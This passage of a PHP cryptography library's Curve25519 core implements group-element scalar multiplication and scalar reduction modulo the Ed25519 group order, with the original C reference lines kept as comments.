ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[3],&u); # ge_add(&t,&A2,&Ai[3]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[4],&u); # ge_add(&t,&A2,&Ai[4]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[5],&u); # ge_add(&t,&A2,&Ai[5]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[6],&u); # ge_add(&t,&A2,&Ai[6]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[7],&u); for ($i = 0; $i < 7; ++$i) { $t = self::ge_add($A2, $Ai[$i]); $u = self::ge_p1p1_to_p3($t); $Ai[$i + 1] = self::ge_p3_to_cached($u); } # ge_p2_0(r); $r = self::ge_p2_0(); # for (i = 255;i >= 0;--i) { # if (aslide[i] || bslide[i]) break; # } $i = 255; for (; $i >= 0; --$i) { if ($aslide[$i] || $bslide[$i]) { break; } } # for (;i >= 0;--i) { for (; $i >= 0; --$i) { # ge_p2_dbl(&t,r); $t = self::ge_p2_dbl($r); # if (aslide[i] > 0) { if ($aslide[$i] > 0) { # ge_p1p1_to_p3(&u,&t); # ge_add(&t,&u,&Ai[aslide[i]/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_add( $u, $Ai[(int) floor($aslide[$i] / 2)] ); # } else if (aslide[i] < 0) { } elseif ($aslide[$i] < 0) { # ge_p1p1_to_p3(&u,&t); # ge_sub(&t,&u,&Ai[(-aslide[i])/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_sub( $u, $Ai[(int) floor(-$aslide[$i] / 2)] ); } # if (bslide[i] > 0) { if ($bslide[$i] > 0) { /** @var int $index */ $index = (int) floor($bslide[$i] / 2); # ge_p1p1_to_p3(&u,&t); # ge_madd(&t,&u,&Bi[bslide[i]/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_madd($t, $u, $Bi[$index]); # } else if (bslide[i] < 0) { } elseif ($bslide[$i] < 0) { /** @var int $index */ $index = (int) floor(-$bslide[$i] / 2); # ge_p1p1_to_p3(&u,&t); # ge_msub(&t,&u,&Bi[(-bslide[i])/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_msub($t, $u, $Bi[$index]); } # ge_p1p1_to_p2(r,&t); $r = self::ge_p1p1_to_p2($t); } return $r; } /** * @internal You should not use this directly from another application * * @param string $a * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ public static function ge_scalarmult($a, $p) { $e = array_fill(0, 64, 0); /** @var ParagonIE_Sodium_Core_Curve25519_Ge_Cached[] $pi */ $pi = array(); // ge25519_p3_to_cached(&pi[1 - 1], p); /* p */ $pi[0] = self::ge_p3_to_cached($p); // ge25519_p3_dbl(&t2, p); // ge25519_p1p1_to_p3(&p2, &t2); // ge25519_p3_to_cached(&pi[2 - 1], &p2); /* 2p = 2*p */ $t2 = self::ge_p3_dbl($p); $p2 = self::ge_p1p1_to_p3($t2); $pi[1] = self::ge_p3_to_cached($p2); // ge25519_add_cached(&t3, p, &pi[2 - 1]); // ge25519_p1p1_to_p3(&p3, &t3); // ge25519_p3_to_cached(&pi[3 - 1], &p3); /* 3p = 2p+p */ $t3 = self::ge_add($p, $pi[1]); $p3 = self::ge_p1p1_to_p3($t3); $pi[2] = self::ge_p3_to_cached($p3); // ge25519_p3_dbl(&t4, &p2); // ge25519_p1p1_to_p3(&p4, &t4); // ge25519_p3_to_cached(&pi[4 - 1], &p4); /* 4p = 2*2p */ $t4 = self::ge_p3_dbl($p2); $p4 = self::ge_p1p1_to_p3($t4); $pi[3] = self::ge_p3_to_cached($p4); // ge25519_add_cached(&t5, p, &pi[4 - 1]); // ge25519_p1p1_to_p3(&p5, &t5); // ge25519_p3_to_cached(&pi[5 - 1], &p5); /* 5p = 4p+p */ $t5 = self::ge_add($p, $pi[3]); $p5 = self::ge_p1p1_to_p3($t5); $pi[4] = self::ge_p3_to_cached($p5); // ge25519_p3_dbl(&t6, &p3); // ge25519_p1p1_to_p3(&p6, &t6); // ge25519_p3_to_cached(&pi[6 - 1], &p6); /* 6p = 2*3p */ $t6 = self::ge_p3_dbl($p3); $p6 = self::ge_p1p1_to_p3($t6); $pi[5] = self::ge_p3_to_cached($p6); // ge25519_add_cached(&t7, p, &pi[6 - 1]); // ge25519_p1p1_to_p3(&p7, &t7); // ge25519_p3_to_cached(&pi[7 - 1], &p7); /* 7p = 6p+p */ $t7 = self::ge_add($p, $pi[5]); $p7 = self::ge_p1p1_to_p3($t7); $pi[6] = self::ge_p3_to_cached($p7); // ge25519_p3_dbl(&t8, &p4); // ge25519_p1p1_to_p3(&p8, &t8); // ge25519_p3_to_cached(&pi[8 - 1], &p8); /* 8p = 2*4p */ $t8 = self::ge_p3_dbl($p4); $p8 = self::ge_p1p1_to_p3($t8); $pi[7] = self::ge_p3_to_cached($p8); // for (i = 0; i < 32; ++i) { // e[2 * i + 0] = (a[i] >> 0) & 15; // e[2 * i + 1] = (a[i] >> 4) & 15; // } for ($i = 0; $i < 32; ++$i) { $e[($i << 1) ] = self::chrToInt($a[$i]) & 15; $e[($i << 1) + 1] = (self::chrToInt($a[$i]) >> 4) & 15; } // /* each e[i] is between 0 and 15 */ // /* e[63] is between 0 and 7 */ // carry = 0; // for (i = 0; i < 63; ++i) { // e[i] += carry; // carry = e[i] + 8; // carry >>= 4; // e[i] -= carry * ((signed char) 1 << 4); // } $carry = 0; for ($i = 0; $i < 63; ++$i) { $e[$i] += $carry; $carry = $e[$i] + 8; $carry >>= 4; $e[$i] -= $carry << 4; } // e[63] += carry; // /* each e[i] is between -8 and 8 */ $e[63] += $carry; // ge25519_p3_0(h); $h = self::ge_p3_0(); // for (i = 63; i != 0; i--) { for ($i = 63; $i != 0; --$i) { // ge25519_cmov8_cached(&t, pi, e[i]); $t = self::ge_cmov8_cached($pi, $e[$i]); // ge25519_add_cached(&r, h, &t); $r = self::ge_add($h, $t); // ge25519_p1p1_to_p2(&s, &r); // ge25519_p2_dbl(&r, &s); // ge25519_p1p1_to_p2(&s, &r); // ge25519_p2_dbl(&r, &s); // ge25519_p1p1_to_p2(&s, &r); // ge25519_p2_dbl(&r, &s); // ge25519_p1p1_to_p2(&s, &r); // ge25519_p2_dbl(&r, &s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); // ge25519_p1p1_to_p3(h, &r); /* *16 */ $h = self::ge_p1p1_to_p3($r); /* *16 */ } // ge25519_cmov8_cached(&t, pi, e[i]); // ge25519_add_cached(&r, h, &t); // ge25519_p1p1_to_p3(h, &r); $t = self::ge_cmov8_cached($pi, $e[0]); $r = self::ge_add($h, $t); return self::ge_p1p1_to_p3($r); } /** * @internal You should not use this directly from another application * * @param string $a * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ public static function ge_scalarmult_base($a) { /** @var array $e */ $e = array(); $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1(); for ($i = 0; $i < 32; ++$i) { $dbl = (int) $i << 1; $e[$dbl] = (int) self::chrToInt($a[$i]) & 15; $e[$dbl + 1] = (int) (self::chrToInt($a[$i]) >> 4) & 15; } $carry = 0; for ($i = 0; $i < 63; ++$i) { $e[$i] += $carry; $carry = $e[$i] + 8; $carry >>= 4; $e[$i] -= $carry << 4; } $e[63] += (int) $carry; $h = self::ge_p3_0(); for ($i = 1; $i < 64; $i += 2) { $t = self::ge_select((int) floor($i / 2), (int) $e[$i]); $r = self::ge_madd($r, $h, $t); $h = self::ge_p1p1_to_p3($r); } $r = self::ge_p3_dbl($h); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $h = self::ge_p1p1_to_p3($r); for ($i = 0; $i < 64; $i += 2) { $t = self::ge_select($i >> 1, (int) $e[$i]); $r = self::ge_madd($r, $h, $t); $h = self::ge_p1p1_to_p3($r); } return $h; } /** * Calculates (ab + c) mod l * where l = 2^252 + 27742317777372353535851937790883648493 * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @param string $c * @return string * @throws TypeError */ public static function sc_muladd($a, $b, $c) { $a0 = 2097151 & self::load_3(self::substr($a, 0, 3)); $a1 = 2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5); $a2 = 2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2); $a3 = 2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7); $a4 = 2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4); $a5 = 2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1); $a6 = 2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6); $a7 = 2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3); $a8 = 2097151 & self::load_3(self::substr($a, 21, 3)); $a9 = 2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5); $a10 = 2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2); $a11 = (self::load_4(self::substr($a, 28, 4)) >> 7); $b0 = 2097151 & self::load_3(self::substr($b, 0, 3)); $b1 = 2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5); $b2 = 2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2); $b3 = 2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7); $b4 = 2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4); $b5 = 2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1); $b6 = 2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6); $b7 = 2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3); $b8 = 2097151 & self::load_3(self::substr($b, 21, 3)); $b9 = 2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5); $b10 = 2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2); $b11 = (self::load_4(self::substr($b, 28, 4)) >> 7); $c0 = 2097151 & self::load_3(self::substr($c, 0, 3)); $c1 = 2097151 & (self::load_4(self::substr($c, 2, 4)) >> 5); $c2 = 2097151 & (self::load_3(self::substr($c, 5, 3)) >> 2); $c3 = 2097151 & (self::load_4(self::substr($c, 7, 4)) >> 7); $c4 = 2097151 & (self::load_4(self::substr($c, 10, 4)) >> 4); $c5 = 2097151 & (self::load_3(self::substr($c, 13, 3)) >> 1); $c6 = 2097151 & (self::load_4(self::substr($c, 15, 4)) >> 6); $c7 = 2097151 & (self::load_3(self::substr($c, 18, 3)) >> 3); $c8 = 2097151 & self::load_3(self::substr($c, 21, 3)); $c9 = 2097151 & (self::load_4(self::substr($c, 23, 4)) >> 5); $c10 = 2097151 & (self::load_3(self::substr($c, 26, 3)) >> 2); $c11 = (self::load_4(self::substr($c, 28, 4)) >> 7); /* Can't really avoid the pyramid here: */ $s0 = $c0 + self::mul($a0, $b0, 24); $s1 = $c1 + self::mul($a0, $b1, 24) + self::mul($a1, $b0, 24); $s2 = $c2 + self::mul($a0, $b2, 24) + self::mul($a1, $b1, 24) + self::mul($a2, $b0, 24); $s3 = $c3 + self::mul($a0, $b3, 24) + self::mul($a1, $b2, 24) + self::mul($a2, $b1, 24) + self::mul($a3, $b0, 24); $s4 = $c4 + self::mul($a0, $b4, 24) + self::mul($a1, $b3, 24) + self::mul($a2, $b2, 24) + self::mul($a3, $b1, 24) + self::mul($a4, $b0, 24); $s5 = $c5 + self::mul($a0, $b5, 24) + self::mul($a1, $b4, 24) + self::mul($a2, $b3, 24) + self::mul($a3, $b2, 24) + self::mul($a4, $b1, 24) + self::mul($a5, $b0, 24); $s6 = $c6 + self::mul($a0, $b6, 24) + self::mul($a1, $b5, 24) + self::mul($a2, $b4, 24) + self::mul($a3, $b3, 24) + self::mul($a4, $b2, 24) + self::mul($a5, $b1, 24) + self::mul($a6, $b0, 24); $s7 = $c7 + self::mul($a0, $b7, 24) + self::mul($a1, $b6, 24) + self::mul($a2, $b5, 24) + self::mul($a3, $b4, 24) + self::mul($a4, $b3, 24) + self::mul($a5, $b2, 24) + self::mul($a6, $b1, 24) + self::mul($a7, $b0, 24); $s8 = $c8 + self::mul($a0, $b8, 24) + self::mul($a1, $b7, 24) + self::mul($a2, $b6, 24) + self::mul($a3, $b5, 24) + self::mul($a4, $b4, 24) + self::mul($a5, $b3, 24) + self::mul($a6, $b2, 24) + self::mul($a7, $b1, 24) + self::mul($a8, $b0, 24); $s9 = $c9 + self::mul($a0, $b9, 24) + self::mul($a1, $b8, 24) + self::mul($a2, $b7, 24) + self::mul($a3, $b6, 24) + self::mul($a4, $b5, 24) + self::mul($a5, $b4, 24) + self::mul($a6, $b3, 24) + self::mul($a7, $b2, 24) + self::mul($a8, $b1, 24) + self::mul($a9, $b0, 24); $s10 = $c10 + self::mul($a0, $b10, 24) + self::mul($a1, $b9, 24) + self::mul($a2, $b8, 24) + self::mul($a3, $b7, 24) + self::mul($a4, $b6, 24) + self::mul($a5, $b5, 24) + self::mul($a6, $b4, 24) + self::mul($a7, $b3, 24) + self::mul($a8, $b2, 24) + self::mul($a9, $b1, 24) + self::mul($a10, $b0, 24); $s11 = $c11 + self::mul($a0, $b11, 24) + self::mul($a1, $b10, 24) + self::mul($a2, $b9, 24) + self::mul($a3, $b8, 24) + self::mul($a4, $b7, 24) + self::mul($a5, $b6, 24) + self::mul($a6, $b5, 24) + self::mul($a7, $b4, 24) + self::mul($a8, $b3, 24) + self::mul($a9, $b2, 24) + self::mul($a10, $b1, 24) + self::mul($a11, $b0, 24); $s12 = self::mul($a1, $b11, 24) + self::mul($a2, $b10, 24) + self::mul($a3, $b9, 24) + self::mul($a4, $b8, 24) + self::mul($a5, $b7, 24) + self::mul($a6, $b6, 24) + self::mul($a7, $b5, 24) + self::mul($a8, $b4, 24) + self::mul($a9, $b3, 24) + self::mul($a10, $b2, 24) + self::mul($a11, $b1, 24); $s13 = self::mul($a2, $b11, 24) + self::mul($a3, $b10, 24) + self::mul($a4, $b9, 24) + self::mul($a5, $b8, 24) + self::mul($a6, $b7, 24) + self::mul($a7, $b6, 24) + self::mul($a8, $b5, 24) + self::mul($a9, $b4, 24) + self::mul($a10, $b3, 24) + self::mul($a11, $b2, 24); $s14 = self::mul($a3, $b11, 24) + self::mul($a4, $b10, 24) + self::mul($a5, $b9, 24) + self::mul($a6, $b8, 24) + self::mul($a7, $b7, 24) + self::mul($a8, $b6, 24) + self::mul($a9, $b5, 24) + self::mul($a10, $b4, 24) + self::mul($a11, $b3, 24); $s15 = self::mul($a4, $b11, 24) + self::mul($a5, $b10, 24) + self::mul($a6, $b9, 24) + self::mul($a7, $b8, 24) + self::mul($a8, $b7, 24) + self::mul($a9, $b6, 24) + self::mul($a10, $b5, 24) + self::mul($a11, $b4, 24); $s16 = self::mul($a5, $b11, 24) + self::mul($a6, $b10, 24) + self::mul($a7, $b9, 24) + self::mul($a8, $b8, 24) + self::mul($a9, $b7, 24) + self::mul($a10, $b6, 24) + self::mul($a11, $b5, 24); $s17 = self::mul($a6, $b11, 24) + self::mul($a7, $b10, 24) + self::mul($a8, $b9, 24) + self::mul($a9, $b8, 24) + self::mul($a10, $b7, 24) + self::mul($a11, $b6, 24); $s18 = self::mul($a7, $b11, 24) + self::mul($a8, $b10, 24) + self::mul($a9, $b9, 24) + self::mul($a10, $b8, 24) + self::mul($a11, $b7, 24); $s19 = self::mul($a8, $b11, 24) + self::mul($a9, $b10, 24) + self::mul($a10, $b9, 24) + self::mul($a11, $b8, 24); $s20 = self::mul($a9, $b11, 24) + self::mul($a10, $b10, 24) + self::mul($a11, $b9, 24); $s21 = self::mul($a10, $b11, 24) + self::mul($a11, $b10, 24); $s22 = self::mul($a11, $b11, 24); $s23 = 0; $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; $carry18 = ($s18 + (1 << 20)) >> 21; $s19 += $carry18; $s18 -= $carry18 << 21; $carry20 = ($s20 + (1 << 20)) >> 21; $s21 += $carry20; $s20 -= $carry20 << 21; $carry22 = ($s22 + (1 << 20)) >> 21; $s23 += $carry22; $s22 -= $carry22 << 21; $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; $carry17 = ($s17 + (1 << 20)) >> 21; $s18 += $carry17; $s17 -= $carry17 << 21; $carry19 = ($s19 + (1 << 20)) >> 21; $s20 += $carry19; $s19 -= $carry19 << 21; $carry21 = ($s21 + (1 << 20)) >> 21; $s22 += $carry21; $s21 -= $carry21 << 21; $s11 += self::mul($s23, 666643, 20); $s12 += self::mul($s23, 470296, 19); $s13 += self::mul($s23, 654183, 20); $s14 -= self::mul($s23, 997805, 20); $s15 += self::mul($s23, 136657, 18); $s16 -= self::mul($s23, 683901, 20); $s10 += self::mul($s22, 666643, 20); $s11 += self::mul($s22, 470296, 19); $s12 += self::mul($s22, 654183, 20); $s13 -= self::mul($s22, 997805, 20); $s14 += self::mul($s22, 136657, 18); $s15 -= self::mul($s22, 683901, 20); $s9 += self::mul($s21, 666643, 20); $s10 += self::mul($s21, 470296, 19); $s11 += self::mul($s21, 654183, 20); $s12 -= self::mul($s21, 997805, 20); $s13 += self::mul($s21, 136657, 18); $s14 -= self::mul($s21, 683901, 20); $s8 += self::mul($s20, 666643, 20); $s9 += self::mul($s20, 470296, 19); $s10 += self::mul($s20, 654183, 20); $s11 -= self::mul($s20, 997805, 20); $s12 += self::mul($s20, 136657, 18); $s13 -= self::mul($s20, 683901, 20); $s7 += self::mul($s19, 666643, 20); $s8 += self::mul($s19, 470296, 19); $s9 += self::mul($s19, 654183, 20); $s10 -= self::mul($s19, 997805, 20); $s11 += self::mul($s19, 136657, 18); $s12 -= self::mul($s19, 683901, 20); $s6 += self::mul($s18, 666643, 20); $s7 += self::mul($s18, 470296, 19); $s8 += self::mul($s18, 654183, 20); $s9 -= self::mul($s18, 997805, 20); $s10 += self::mul($s18, 136657, 18); $s11 -= self::mul($s18, 683901, 20); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; $s5 += self::mul($s17, 666643, 20); $s6 += self::mul($s17, 470296, 19); $s7 += self::mul($s17, 654183, 20); $s8 -= self::mul($s17, 997805, 20); $s9 += self::mul($s17, 136657, 18); $s10 -= self::mul($s17, 683901, 20); $s4 += self::mul($s16, 666643, 20); $s5 += self::mul($s16, 470296, 19); $s6 += self::mul($s16, 654183, 20); $s7 -= self::mul($s16, 997805, 20); $s8 += self::mul($s16, 136657, 18); $s9 -= self::mul($s16, 683901, 20); $s3 += self::mul($s15, 666643, 20); $s4 += self::mul($s15, 470296, 19); $s5 += self::mul($s15, 654183, 20); $s6 -= self::mul($s15, 997805, 20); $s7 += self::mul($s15, 136657, 18); $s8 -= self::mul($s15, 683901, 20); $s2 += self::mul($s14, 666643, 20); $s3 += self::mul($s14, 470296, 19); $s4 += self::mul($s14, 654183, 20); $s5 -= self::mul($s14, 997805, 20); $s6 += self::mul($s14, 136657, 18); $s7 -= self::mul($s14, 683901, 20); $s1 += self::mul($s13, 666643, 20); $s2 += self::mul($s13, 470296, 19); $s3 += self::mul($s13, 654183, 20); $s4 -= self::mul($s13, 997805, 20); $s5 += self::mul($s13, 136657, 18); $s6 -= self::mul($s13, 683901, 20); $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry11 = $s11 >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; /** * @var array */ $arr = array( (int) (0xff & ($s0 >> 0)), (int) (0xff & ($s0 >> 8)), (int) (0xff & (($s0 >> 16) | $s1 << 5)), (int) (0xff & ($s1 >> 3)), (int) (0xff & ($s1 >> 11)), (int) (0xff & (($s1 >> 19) | $s2 << 2)), (int) (0xff & ($s2 >> 6)), (int) (0xff & (($s2 >> 14) | $s3 << 7)), (int) (0xff & ($s3 >> 1)), (int) (0xff & ($s3 >> 9)), (int) (0xff & (($s3 >> 17) | $s4 << 4)), (int) (0xff & ($s4 >> 4)), (int) (0xff & ($s4 >> 12)), (int) (0xff & (($s4 >> 20) | $s5 << 1)), (int) (0xff & ($s5 >> 7)), (int) (0xff & (($s5 >> 15) | $s6 << 6)), (int) (0xff & ($s6 >> 2)), (int) (0xff & ($s6 >> 10)), (int) (0xff & (($s6 >> 18) | $s7 << 3)), (int) (0xff & ($s7 >> 5)), (int) (0xff & ($s7 >> 13)), (int) (0xff & ($s8 >> 0)), (int) (0xff & ($s8 >> 8)), (int) (0xff & (($s8 >> 16) | $s9 << 5)), (int) (0xff & ($s9 >> 3)), (int) (0xff & ($s9 >> 11)), (int) (0xff & (($s9 >> 19) | $s10 << 2)), (int) (0xff & ($s10 >> 6)), (int) (0xff & (($s10 >> 14) | $s11 << 7)), (int) (0xff & ($s11 >> 1)), (int) (0xff & ($s11 >> 9)), 0xff & ($s11 >> 17) ); return self::intArrayToString($arr); } /** * @internal You should not use this directly from another application * * @param string $s * @return string * @throws TypeError */ public static function sc_reduce($s) { $s0 = 2097151 & self::load_3(self::substr($s, 0, 3)); $s1 = 2097151 & (self::load_4(self::substr($s, 2, 4)) >> 5); $s2 = 2097151 & (self::load_3(self::substr($s, 5, 3)) >> 2); $s3 = 2097151 & (self::load_4(self::substr($s, 7, 4)) >> 7); $s4 = 2097151 & (self::load_4(self::substr($s, 10, 4)) >> 4); $s5 = 2097151 & (self::load_3(self::substr($s, 13, 3)) >> 1); $s6 = 2097151 & (self::load_4(self::substr($s, 15, 4)) >> 6); $s7 = 2097151 & (self::load_3(self::substr($s, 18, 4)) >> 3); $s8 = 2097151 & self::load_3(self::substr($s, 21, 3)); $s9 = 2097151 & (self::load_4(self::substr($s, 23, 4)) >> 5); $s10 = 2097151 & (self::load_3(self::substr($s, 26, 3)) >> 2); $s11 = 2097151 & (self::load_4(self::substr($s, 28, 4)) >> 7); $s12 = 2097151 & (self::load_4(self::substr($s, 31, 4)) >> 4); $s13 = 2097151 & (self::load_3(self::substr($s, 34, 3)) >> 1); $s14 = 2097151 & (self::load_4(self::substr($s, 36, 4)) >> 6); $s15 = 2097151 & (self::load_3(self::substr($s, 39, 4)) >> 3); $s16 = 2097151 & self::load_3(self::substr($s, 42, 3)); $s17 = 2097151 & (self::load_4(self::substr($s, 44, 4)) >> 5); $s18 = 2097151 & (self::load_3(self::substr($s, 47, 3)) >> 2); $s19 = 2097151 & (self::load_4(self::substr($s, 49, 4)) >> 7); $s20 = 2097151 & (self::load_4(self::substr($s, 52, 4)) >> 4); $s21 = 2097151 & (self::load_3(self::substr($s, 55, 3)) >> 1); $s22 = 2097151 & (self::load_4(self::substr($s, 57, 4)) >> 6); $s23 = 0x1fffffff & (self::load_4(self::substr($s, 60, 4)) >> 3); $s11 += self::mul($s23, 666643, 20); $s12 += self::mul($s23, 470296, 19); $s13 += self::mul($s23, 654183, 20); $s14 -= self::mul($s23, 997805, 20); $s15 += self::mul($s23, 136657, 18); $s16 -= self::mul($s23, 683901, 20); $s10 += self::mul($s22, 666643, 20); $s11 += self::mul($s22, 470296, 19); $s12 += self::mul($s22, 654183, 20); $s13 -= self::mul($s22, 997805, 20); $s14 += self::mul($s22, 136657, 18); $s15 -= self::mul($s22, 683901, 20); $s9 += self::mul($s21, 